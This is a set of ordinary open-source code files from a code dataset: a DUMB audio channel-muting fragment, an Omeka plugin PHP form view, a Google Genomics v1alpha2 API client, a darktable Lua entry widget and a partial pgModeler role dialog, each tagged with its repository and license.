if (sr) {
if (muted)
sr->channel[channel].flags |= IT_CHANNEL_MUTED;
else
sr->channel[channel].flags &= ~IT_CHANNEL_MUTED;
}
}
int DUMBEXPORT dumb_it_sr_get_channel_muted(DUMB_IT_SIGRENDERER *sr, int channel)
{
return sr ? (sr->channel[channel].flags & IT_CHANNEL_MUTED) != 0 : 0;
}
|
Xane123/MaryMagicalAdventure
|
libraries/dumb/src/it/itmisc.c
|
C
|
gpl-3.0
| 5,299
|
<li class="element">
<div class="sortable-item">
<?php
$elementsArray = get_table_options(
'Element', null,
array(
'element_set_name' => ElementSet::ITEM_TYPE_NAME,
'sort' => 'alpha',
'item_type_id' => $item_type_id
)
);
$dcElements = get_table_options(
'Element', null,
array(
'element_set_name' => 'Dublin Core',
'sort' => 'alpha',
)
);
$elementsArray['Dublin Core'] = $dcElements['Dublin Core'];
echo $this->formSelect(
$element_id_name, $element_id_value,
array('class' => 'existing-element-drop-down'), $elementsArray );
echo "<span>" . __("Prompt:") . "</span>";
echo $this->formText($element_prompt_name, $element_prompt_value, array('class'=>'prompt'));
?>
<span class='long-text'><?php echo __('Multiple rows'); ?></span>
<?php echo $this->formCheckbox($element_long_name, null); ?>
<?php
echo $this->formHidden(
$element_order_name, $element_order_value,
array('class' => 'element-order')
);
?>
<a href="" class="delete-element"><?php echo __('Remove'); ?></a>
</div>
<div class="drawer-contents"></div>
</li>
|
AppStateLibrary/omeka
|
plugins/Contribution/views/admin/types/add-existing-element.php
|
PHP
|
gpl-3.0
| 1,503
|
/**
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/* jshint maxlen: false */
'use strict';
var createAPIRequest = require('../../lib/apirequest');
var utils = require('../../lib/utils');
/**
* Genomics API
*
* Stores, processes, explores and shares genomic data.
*
* @example
* var google = require('googleapis');
* var genomics = google.genomics('v1alpha2');
*
* @namespace genomics
* @type {Function}
* @version v1alpha2
* @variation v1alpha2
* @param {object=} options Options for Genomics
*/
function Genomics(options) { // eslint-disable-line
var self = this;
self._options = options || {};
self.operations = {
/**
* genomics.operations.get
*
* @desc Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.
*
* @alias genomics.operations.get
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {string} params.name The name of the operation resource.
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
get: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/{name}',
method: 'GET'
}, options),
params: params,
requiredParams: ['name'],
pathParams: ['name'],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.operations.list
*
* @desc Lists operations that match the specified filter in the request.
*
* @alias genomics.operations.list
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {string} params.name The name of the operation collection.
* @param {string=} params.filter A string for filtering Operations. The following filter fields are supported: * projectId: Required. Corresponds to OperationMetadata.projectId. * createTime: The time this job was created, in seconds from the [epoch](http://en.wikipedia.org/wiki/Unix_time). Can use `>=` and/or `= 1432140000` * `projectId = my-project AND createTime >= 1432140000 AND createTime <= 1432150000 AND status = RUNNING`
* @param {integer=} params.pageSize The maximum number of results to return. If unspecified, defaults to 256. The maximum value is 2048.
* @param {string=} params.pageToken The standard list page token.
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
list: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/{name}',
method: 'GET'
}, options),
params: params,
requiredParams: ['name'],
pathParams: ['name'],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.operations.cancel
*
* @desc Starts asynchronous cancellation on a long-running operation. The server makes a best effort to cancel the operation, but success is not guaranteed. Clients may use Operations.GetOperation or Operations.ListOperations to check whether the cancellation succeeded or the operation completed despite cancellation.
*
* @alias genomics.operations.cancel
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {string} params.name The name of the operation resource to be cancelled.
* @param {genomics(v1alpha2).CancelOperationRequest} params.resource Request body data
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
cancel: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/{name}:cancel',
method: 'POST'
}, options),
params: params,
requiredParams: ['name'],
pathParams: ['name'],
context: self
};
return createAPIRequest(parameters, callback);
}
};
self.pipelines = {
/**
* genomics.pipelines.create
*
* @desc Creates a pipeline that can be run later. Create takes a Pipeline that has all fields other than `pipelineId` populated, and then returns the same pipeline with `pipelineId` populated. This id can be used to run the pipeline. Caller must have WRITE permission to the project.
*
* @alias genomics.pipelines.create
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {genomics(v1alpha2).Pipeline} params.resource Request body data
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
create: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines',
method: 'POST'
}, options),
params: params,
requiredParams: [],
pathParams: [],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.pipelines.run
*
* @desc Runs a pipeline. If `pipelineId` is specified in the request, then run a saved pipeline. If `ephemeralPipeline` is specified, then run that pipeline once without saving a copy. The caller must have READ permission to the project where the pipeline is stored and WRITE permission to the project where the pipeline will be run, as VMs will be created and storage will be used.
*
* @alias genomics.pipelines.run
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {genomics(v1alpha2).RunPipelineRequest} params.resource Request body data
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
run: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines:run',
method: 'POST'
}, options),
params: params,
requiredParams: [],
pathParams: [],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.pipelines.get
*
* @desc Retrieves a pipeline based on ID. Caller must have READ permission to the project.
*
* @alias genomics.pipelines.get
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {string} params.pipelineId Caller must have READ access to the project in which this pipeline is defined.
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
get: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines/{pipelineId}',
method: 'GET'
}, options),
params: params,
requiredParams: ['pipelineId'],
pathParams: ['pipelineId'],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.pipelines.list
*
* @desc Lists pipelines. Caller must have READ permission to the project.
*
* @alias genomics.pipelines.list
* @memberOf! genomics(v1alpha2)
*
* @param {object=} params Parameters for request
* @param {string=} params.projectId Required. The name of the project to search for pipelines. Caller must have READ access to this project.
* @param {string=} params.namePrefix Pipelines with names that match this prefix should be returned. If unspecified, all pipelines in the project, up to `pageSize`, will be returned.
* @param {integer=} params.pageSize Number of pipelines to return at once. Defaults to 256, and max is 2048.
* @param {string=} params.pageToken Token to use to indicate where to start getting results. If unspecified, returns the first page of results.
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
list: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines',
method: 'GET'
}, options),
params: params,
requiredParams: [],
pathParams: [],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.pipelines.delete
*
* @desc Deletes a pipeline based on ID. Caller must have WRITE permission to the project.
*
* @alias genomics.pipelines.delete
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {string} params.pipelineId Caller must have WRITE access to the project in which this pipeline is defined.
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
delete: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines/{pipelineId}',
method: 'DELETE'
}, options),
params: params,
requiredParams: ['pipelineId'],
pathParams: ['pipelineId'],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.pipelines.getControllerConfig
*
* @desc Gets controller configuration information. Should only be called by VMs created by the Pipelines Service and not by end users.
*
* @alias genomics.pipelines.getControllerConfig
* @memberOf! genomics(v1alpha2)
*
* @param {object=} params Parameters for request
* @param {string=} params.operationId The operation to retrieve controller configuration for.
* @param {string=} params.validationToken
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
getControllerConfig: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines:getControllerConfig',
method: 'GET'
}, options),
params: params,
requiredParams: [],
pathParams: [],
context: self
};
return createAPIRequest(parameters, callback);
},
/**
* genomics.pipelines.setOperationStatus
*
* @desc Sets status of a given operation. Any new timestamps (as determined by description) are appended to TimestampEvents. Should only be called by VMs created by the Pipelines Service and not by end users.
*
* @alias genomics.pipelines.setOperationStatus
* @memberOf! genomics(v1alpha2)
*
* @param {object} params Parameters for request
* @param {genomics(v1alpha2).SetOperationStatusRequest} params.resource Request body data
* @param {object} [options] Optionally override request options, such as `url`, `method`, and `encoding`.
* @param {callback} callback The callback that handles the response.
* @return {object} Request object
*/
setOperationStatus: function (params, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
options || (options = {});
var parameters = {
options: utils.extend({
url: 'https://genomics.googleapis.com/v1alpha2/pipelines:setOperationStatus',
method: 'PUT'
}, options),
params: params,
requiredParams: [],
pathParams: [],
context: self
};
return createAPIRequest(parameters, callback);
}
};
}
/**
* @typedef Operation
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} name The server-assigned name, which is only unique within the same service that originally returns it. For example: `operations/CJHU7Oi_ChDrveSpBRjfuL-qzoWAgEw`
* @property {object} metadata An OperationMetadata object. This will always be returned with the Operation.
* @property {boolean} done If the value is `false`, it means the operation is still in progress. If true, the operation is completed, and either `error` or `response` is available.
* @property {genomics(v1alpha2).Status} error The error result of the operation in case of failure.
* @property {object} response If importing ReadGroupSets, an ImportReadGroupSetsResponse is returned. If importing Variants, an ImportVariantsResponse is returned. For exports, an empty response is returned.
*/
/**
* @typedef Status
* @memberOf! genomics(v1alpha2)
* @type object
* @property {integer} code The status code, which should be an enum value of google.rpc.Code.
* @property {string} message A developer-facing error message, which should be in English. Any user-facing error message should be localized and sent in the google.rpc.Status.details field, or localized by the client.
* @property {object[]} details A list of messages that carry the error details. There will be a common set of message types for APIs to use.
*/
/**
* @typedef ListOperationsResponse
* @memberOf! genomics(v1alpha2)
* @type object
* @property {genomics(v1alpha2).Operation[]} operations A list of operations that matches the specified filter in the request.
* @property {string} nextPageToken The standard List next-page token.
*/
/**
* @typedef CancelOperationRequest
* @memberOf! genomics(v1alpha2)
* @type object
*/
/**
* @typedef Empty
* @memberOf! genomics(v1alpha2)
* @type object
*/
/**
* @typedef Pipeline
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} projectId Required. The project in which to create the pipeline. The caller must have WRITE access.
* @property {string} name Required. A user specified pipeline name that does not have to be unique. This name can be used for filtering Pipelines in ListPipelines.
* @property {string} description User-specified description.
* @property {genomics(v1alpha2).PipelineParameter[]} inputParameters Input parameters of the pipeline.
* @property {genomics(v1alpha2).PipelineParameter[]} outputParameters Output parameters of the pipeline.
* @property {genomics(v1alpha2).DockerExecutor} docker Specifies the docker run information.
* @property {genomics(v1alpha2).PipelineResources} resources Required. Specifies resource requirements for the pipeline run. Required fields: * minimumCpuCores * minimumRamGb
* @property {string} pipelineId Unique pipeline id that is generated by the service when CreatePipeline is called. Cannot be specified in the Pipeline used in the CreatePipelineRequest, and will be populated in the response to CreatePipeline and all subsequent Get and List calls. Indicates that the service has registered this pipeline.
*/
/**
* @typedef PipelineParameter
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} name Required. Name of the parameter - the pipeline runner uses this string as the key to the input and output maps in RunPipeline.
* @property {string} description Human-readable description.
* @property {string} defaultValue The default value for this parameter. Can be overridden at runtime. If `localCopy` is present, then this must be a Google Cloud Storage path beginning with `gs://`.
* @property {genomics(v1alpha2).LocalCopy} localCopy If present, this parameter is marked for copying to and from the VM. `LocalCopy` indicates where on the VM the file should be. The value given to this parameter (either at runtime or using `defaultValue`) must be the remote path where the file should be.
*/
/**
* @typedef LocalCopy
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} path Required. The path within the user's docker container where this input should be localized to and from, relative to the specified disk's mount point. For example: file.txt,
* @property {string} disk Required. The name of the disk where this parameter is located. Can be the name of one of the disks specified in the Resources field, or "boot", which represents the Docker instance's boot disk and has a mount point of `/`.
*/
/**
* @typedef DockerExecutor
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} imageName Required. Image name from either Docker Hub or Google Container Registry. Users that run pipelines must have READ access to the image.
* @property {string} cmd Required. The command or newline delimited script to run. The command string will be executed within a bash shell. If the command exits with a non-zero exit code, output parameter de-localization will be skipped and the pipeline operation's `error` field will be populated. Maximum command string length is 16384.
*/
/**
* @typedef PipelineResources
* @memberOf! genomics(v1alpha2)
* @type object
* @property {integer} minimumCpuCores The minimum number of cores to use. Defaults to 1.
* @property {boolean} preemptible Whether to use preemptible VMs. Defaults to `false`. In order to use this, must be true for both create time and run time. Cannot be true at run time if false at create time.
* @property {number} minimumRamGb The minimum amount of RAM to use. Defaults to 3.75 (GB)
* @property {genomics(v1alpha2).Disk[]} disks Disks to attach.
* @property {string[]} zones List of Google Compute Engine availability zones to which resource creation will restricted. If empty, any zone may be chosen.
* @property {integer} bootDiskSizeGb The size of the boot disk. Defaults to 10 (GB).
* @property {boolean} noAddress Whether to assign an external IP to the instance. Defaults to false. Corresponds to `--no_address` flag for [gcloud compute instances create] (https://cloud.google.com/sdk/gcloud/reference/compute/instances/create). In order to use this, must be true for both create time and run time. Cannot be true at run time if false at create time. ** Note: To use this option, your project must be in Google Access for Private IPs Early Access Program.**
*/
/**
* @typedef Disk
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} name Required. The name of the disk that can be used in the pipeline parameters. Must be 1 - 63 characters. The name "boot" is reserved for system use.
* @property {string} type Required. The type of the disk to create.
* @property {integer} sizeGb The size of the disk. Defaults to 500 (GB). This field is not applicable for local SSD.
* @property {string} source The full or partial URL of the persistent disk to attach. See https://cloud.google.com/compute/docs/reference/latest/instances#resource and https://cloud.google.com/compute/docs/disks/persistent-disks#snapshots for more details.
* @property {boolean} autoDelete Specifies whether or not to delete the disk when the pipeline completes. This field is applicable only for newly created disks. See https://cloud.google.com/compute/docs/reference/latest/instances#resource for more details. By default, `autoDelete` is `false`. `autoDelete` will be enabled if set to `true` at create time or run time.
* @property {boolean} readOnly Specifies how a sourced-base persistent disk will be mounted. See https://cloud.google.com/compute/docs/disks/persistent-disks#use_multi_instances for more details. Can only be set at create time.
* @property {string} mountPoint Required at create time and cannot be overridden at run time. Specifies the path in the docker container where files on this disk should be located. For example, if `mountPoint` is `/mnt/disk`, and the parameter has `localPath` `inputs/file.txt`, the docker container can access the data at `/mnt/disk/inputs/file.txt`.
*/
/**
* @typedef RunPipelineRequest
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} pipelineId The already created pipeline to run.
* @property {genomics(v1alpha2).Pipeline} ephemeralPipeline A new pipeline object to run once and then delete.
* @property {genomics(v1alpha2).RunPipelineArgs} pipelineArgs The arguments to use when running this pipeline.
*/
/**
* @typedef RunPipelineArgs
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} projectId Required. The project in which to run the pipeline. The caller must have WRITER access to all Google Cloud services and resources (e.g. Google Compute Engine) will be used.
* @property {object} inputs Pipeline input arguments; keys are defined in the pipeline documentation. All input parameters that do not have default values must be specified. If parameters with defaults are specified here, the defaults will be overridden.
* @property {object} outputs Pipeline output arguments; keys are defined in the pipeline documentation. All output parameters of without default values must be specified. If parameters with defaults are specified here, the defaults will be overridden.
* @property {genomics(v1alpha2).ServiceAccount} serviceAccount The Google Cloud Service Account that will be used to access data and services. By default, the compute service account associated with `projectId` is used.
* @property {string} clientId Client-specified pipeline operation identifier.
* @property {genomics(v1alpha2).PipelineResources} resources Specifies resource requirements/overrides for the pipeline run.
* @property {genomics(v1alpha2).LoggingOptions} logging Required. Logging options. Used by the service to communicate results to the user.
* @property {string} keepVmAliveOnFailureDuration How long to keep the VM up after a failure (for example docker command failed, copying input or output files failed, etc). While the VM is up, one can ssh into the VM to debug. Default is 0; maximum allowed value is 1 day.
*/
/**
* @typedef ServiceAccount
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} email Email address of the service account. Defaults to `default`, which uses the compute service account associated with the project.
* @property {string[]} scopes List of scopes to be enabled for this service account on the pipeline virtual machine. The following scopes are automatically included: * https://www.googleapis.com/auth/genomics * https://www.googleapis.com/auth/compute * https://www.googleapis.com/auth/devstorage.full_control
*/
/**
* @typedef LoggingOptions
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} gcsPath The location in Google Cloud Storage to which the pipeline logs will be copied. Can be specified as a fully qualified directory path, in which case logs will be output with a unique identifier as the filename in that directory, or as a fully specified path, which must end in `.log`, in which case that path will be used, and the user must ensure that logs are not overwritten. Stdout and stderr logs from the run are also generated and output as `-stdout.log` and `-stderr.log`.
*/
/**
* @typedef ListPipelinesResponse
* @memberOf! genomics(v1alpha2)
* @type object
* @property {genomics(v1alpha2).Pipeline[]} pipelines The matched pipelines.
* @property {string} nextPageToken The token to use to get the next page of results.
*/
/**
* @typedef ControllerConfig
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} image
* @property {string} cmd
* @property {string} gcsLogPath
* @property {string} machineType
* @property {object} vars
* @property {object} disks
* @property {object} gcsSources
* @property {object} gcsSinks
*/
/**
* @typedef RepeatedString
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string[]} values
*/
/**
* @typedef SetOperationStatusRequest
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} operationId
* @property {genomics(v1alpha2).TimestampEvent[]} timestampEvents
* @property {string} errorCode
* @property {string} errorMessage
* @property {string} validationToken
*/
/**
* @typedef TimestampEvent
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} description String indicating the type of event
* @property {string} timestamp The time this event occured.
*/
/**
* @typedef ImportReadGroupSetsResponse
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string[]} readGroupSetIds IDs of the read group sets that were created.
*/
/**
* @typedef ImportVariantsResponse
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string[]} callSetIds IDs of the call sets created during the import.
*/
/**
* @typedef OperationMetadata
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} projectId The Google Cloud Project in which the job is scoped.
* @property {string} createTime The time at which the job was submitted to the Genomics service.
* @property {string} startTime The time at which the job began to run.
* @property {string} endTime The time at which the job stopped running.
* @property {object} request The original request that started the operation. Note that this will be in current version of the API. If the operation was started with v1beta2 API and a GetOperation is performed on v1 API, a v1 request will be returned.
* @property {genomics(v1alpha2).OperationEvent[]} events Optional event messages that were generated during the job's execution. This also contains any warnings that were generated during import or export.
* @property {string} clientId Optionally provided by the caller when submitting the request that creates the operation.
* @property {object} runtimeMetadata Runtime metadata on this Operation.
*/
/**
* @typedef OperationEvent
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} startTime Optional time of when event started.
* @property {string} endTime Optional time of when event finished. An event can have a start time and no finish time. If an event has a finish time, there must be a start time.
* @property {string} description Required description of event.
*/
/**
* @typedef RuntimeMetadata
* @memberOf! genomics(v1alpha2)
* @type object
* @property {genomics(v1alpha2).ComputeEngine} computeEngine Execution information specific to Google Compute Engine.
*/
/**
* @typedef ComputeEngine
* @memberOf! genomics(v1alpha2)
* @type object
* @property {string} instanceName The instance on which the operation is running.
* @property {string} zone The availability zone in which the instance resides.
* @property {string} machineType The machine type of the instance.
* @property {string[]} diskNames The names of the disks that were created for this pipeline.
*/
module.exports = Genomics;
|
Georeactor/wikitongues
|
node_modules/googleapis/apis/genomics/v1alpha2.js
|
JavaScript
|
gpl-3.0
| 29,872
|
/*
This file is part of darktable,
Copyright (C) 2015-2020 darktable developers.
darktable is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
darktable is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with darktable. If not, see <http://www.gnu.org/licenses/>.
*/
#include "gui/gtk.h"
#include "lua/types.h"
#include "lua/widget/common.h"
static void entry_init(lua_State* L);
static void entry_cleanup(lua_State* L,lua_widget widget);
static dt_lua_widget_type_t entry_type = {
.name = "entry",
.gui_init = entry_init,
.gui_cleanup = entry_cleanup,
.alloc_size = sizeof(dt_lua_widget_t),
.parent= &widget_type
};
static void entry_init(lua_State* L)
{
lua_entry entry;
luaA_to(L,lua_entry,&entry,1);
dt_gui_key_accel_block_on_focus_connect(GTK_WIDGET(entry->widget));
}
static void entry_cleanup(lua_State* L,lua_widget widget)
{
dt_gui_key_accel_block_on_focus_disconnect(widget->widget);
}
static int text_member(lua_State *L)
{
lua_entry entry;
luaA_to(L,lua_entry,&entry,1);
if(lua_gettop(L) > 2) {
const char * text = luaL_checkstring(L,3);
gtk_entry_set_text(GTK_ENTRY(entry->widget),text);
return 0;
}
lua_pushstring(L,gtk_entry_get_text(GTK_ENTRY(entry->widget)));
return 1;
}
static int is_password_member(lua_State *L)
{
lua_entry entry;
luaA_to(L,lua_entry,&entry,1);
if(lua_gettop(L) > 2) {
const gboolean visibility = lua_toboolean(L,3);
gtk_entry_set_visibility(GTK_ENTRY(entry->widget),!visibility);
return 0;
}
lua_pushboolean(L,gtk_entry_get_visibility(GTK_ENTRY(entry->widget)));
return 1;
}
static int placeholder_member(lua_State *L)
{
lua_entry entry;
luaA_to(L,lua_entry,&entry,1);
if(lua_gettop(L) > 2) {
const char * placeholder = luaL_checkstring(L,3);
gtk_entry_set_placeholder_text(GTK_ENTRY(entry->widget),placeholder);
return 0;
}
lua_pushstring(L,gtk_entry_get_placeholder_text(GTK_ENTRY(entry->widget)));
return 1;
}
static int editable_member(lua_State *L)
{
lua_entry entry;
luaA_to(L,lua_entry,&entry,1);
gboolean editable;
if(lua_gettop(L) > 2) {
editable = lua_toboolean(L,3);
g_object_set(G_OBJECT(entry->widget), "editable", editable, (gchar *)0);
return 0;
}
g_object_get(G_OBJECT(entry->widget),"editable",&editable,NULL);
lua_pushboolean(L,editable);
return 1;
}
static int tostring_member(lua_State *L)
{
lua_entry widget;
luaA_to(L, lua_entry, &widget, 1);
const gchar *text = gtk_entry_get_text(GTK_ENTRY(widget->widget));
gchar *res = g_strdup_printf("%s (\"%s\")", G_OBJECT_TYPE_NAME(widget->widget), text ? text : "");
lua_pushstring(L, res);
g_free(res);
return 1;
}
int dt_lua_init_widget_entry(lua_State* L)
{
dt_lua_init_widget_type(L,&entry_type,lua_entry,GTK_TYPE_ENTRY);
lua_pushcfunction(L, tostring_member);
dt_lua_gtk_wrap(L);
dt_lua_type_setmetafield(L, lua_entry, "__tostring");
lua_pushcfunction(L,text_member);
dt_lua_gtk_wrap(L);
dt_lua_type_register(L, lua_entry, "text");
lua_pushcfunction(L,is_password_member);
dt_lua_gtk_wrap(L);
dt_lua_type_register(L, lua_entry, "is_password");
lua_pushcfunction(L,placeholder_member);
dt_lua_gtk_wrap(L);
dt_lua_type_register(L, lua_entry, "placeholder");
lua_pushcfunction(L,editable_member);
dt_lua_gtk_wrap(L);
dt_lua_type_register(L, lua_entry, "editable");
return 0;
}
// modelines: These editor modelines have been set for all relevant files by tools/update_modelines.sh
// vim: shiftwidth=2 expandtab tabstop=2 cindent
// kate: tab-indents: off; indent-width 2; replace-tabs on; indent-mode cstyle; remove-trailing-spaces modified;
|
peterbud/darktable
|
src/lua/widget/entry.c
|
C
|
gpl-3.0
| 4,088
|
/*
# PostgreSQL Database Modeler (pgModeler)
#
# Copyright 2006-2015 - Raphael Araújo e Silva <raphael@pgmodeler.com.br>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation version 3.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# The complete text of GPLv3 is at LICENSE file on source code root directory.
# Also, you can get the complete GNU General Public License at <http://www.gnu.org/licenses/>
*/
#include "rolewidget.h"
#include "modelobjectswidget.h"
RoleWidget::RoleWidget(QWidget *parent): BaseObjectWidget(parent, OBJ_ROLE)
{
ObjectTableWidget *obj_tab=nullptr;
QGridLayout *grid=nullptr;
QFrame *frame=nullptr;
map<QString, vector<QWidget *> > fields_map;
unsigned i;
Ui_RoleWidget::setupUi(this);
configureFormLayout(role_grid, OBJ_ROLE);
object_selection_wgt=new ModelObjectsWidget(true);
frame=generateInformationFrame(trUtf8("Assigning <strong><em>-1</em></strong> to <strong><em>Connections</em></strong> creates a role without connection limit.<br/>\
Unchecking <strong><em>Validity</em></strong> creates an role that never expires."));
role_grid->addWidget(frame, role_grid->count()+1, 0, 1, 4);
frame->setParent(this);
fields_map[generateVersionsInterval(AFTER_VERSION, PgSQLVersions::PGSQL_VERSION_90)].push_back(can_replicate_chk);
frame=generateVersionWarningFrame(fields_map);
role_grid->addWidget(frame, role_grid->count()+1, 0, 1, 0);
frame->setParent(this);
connect(validity_chk, SIGNAL(toggled(bool)), validity_dte, SLOT(setEnabled(bool)));
connect(parent_form->apply_ok_btn,SIGNAL(clicked(bool)), this, SLOT(applyConfiguration(void)));
connect(members_twg, SIGNAL(currentChanged(int)), this, SLOT(configureRoleSelection(void)));
connect(superusr_chk, SIGNAL(toggled(bool)), this, SLOT(uncheckOptions(void)));
//Alocation of the member role tables
for(i=0; i < 3; i++)
{
obj_tab=new ObjectTableWidget(ObjectTableWidget::ALL_BUTTONS ^
ObjectTableWidget::UPDATE_BUTTON, true, this);
members_tab[i]=obj_tab;
obj_tab->setColumnCount(5);
obj_tab->setHeaderLabel(trUtf8("Role"),0);
obj_tab->setHeaderIcon(QPixmap(QString(":/icones/icones/role.png")),0);
obj_tab->setHeaderLabel(trUtf8("Validity"),1);
obj_tab->setHeaderIcon(QPixmap(QString(":/icones/icones/validade.png")),1);
obj_tab->setHeaderLabel(trUtf8("Member of"),2);
obj_tab->setHeaderIcon(QPixmap(QString(":/icones/icones/role.png")),2);
obj_tab->setHeaderLabel(trUtf8("Members"),3);
obj_tab->setHeaderIcon(QPixmap(QString(":/icones/icones/role.png")),3);
obj_tab->setHeaderLabel(trUtf8("Members (Admin.)"),4);
obj_tab->setHeaderIcon(QPixmap(QString(":/icones/icones/role.png")),4);
grid=new QGridLayout;
grid->addWidget(obj_tab,0,0,1,1);
grid->setContentsMargins(4,4,4,4);
members_twg->widget(i)->setLayout(grid);
}
parent_form->setMinimumSize(580, 650);
connect(object_selection_wgt, SIGNAL(s_visibilityChanged(BaseObject*,bool)), this, SLOT(showSelectedRoleData(void)));
}
RoleWidget::~RoleWidget()
{
parent_form->generalwidget_wgt->removeWidget(this);
delete(object_selection_wgt);
}
void RoleWidget::uncheckOptions(void)
{
can_login_chk->setChecked(false);
can_login_chk->setEnabled(!superusr_chk->isChecked());
can_replicate_chk->setChecked(false);
can_replicate_chk->setEnabled(!superusr_chk->isChecked());
inh_perm_chk->setChecked(false);
inh_perm_chk->setEnabled(!superusr_chk->isChecked());
create_db_chk->setChecked(false);
create_db_chk->setEnabled(!superusr_chk->isChecked());
create_role_chk->setChecked(false);
create_role_chk->setEnabled(!superusr_chk->isChecked());
}
void RoleWidget::configureRoleSelection(void)
{
unsigned i;
//Disconnects all signals from the member role tables
for(i=0; i < 3; i++)
disconnect(members_tab[i],0,this,0);
//Connects the signal/slots only on the current table
connect(members_tab[members_twg->currentIndex()], SIGNAL(s_rowAdded(int)), this, SLOT(selectMemberRole(void)));
connect(members_tab[members_twg->currentIndex()], SIGNAL(s_rowEdited(int)), this, SLOT(selectMemberRole(void)));
}
void RoleWidget::selectMemberRole(void)
{
object_selection_wgt->setObjectVisible(OBJ_ROLE, true);
object_selection_wgt->setModel(this->model);
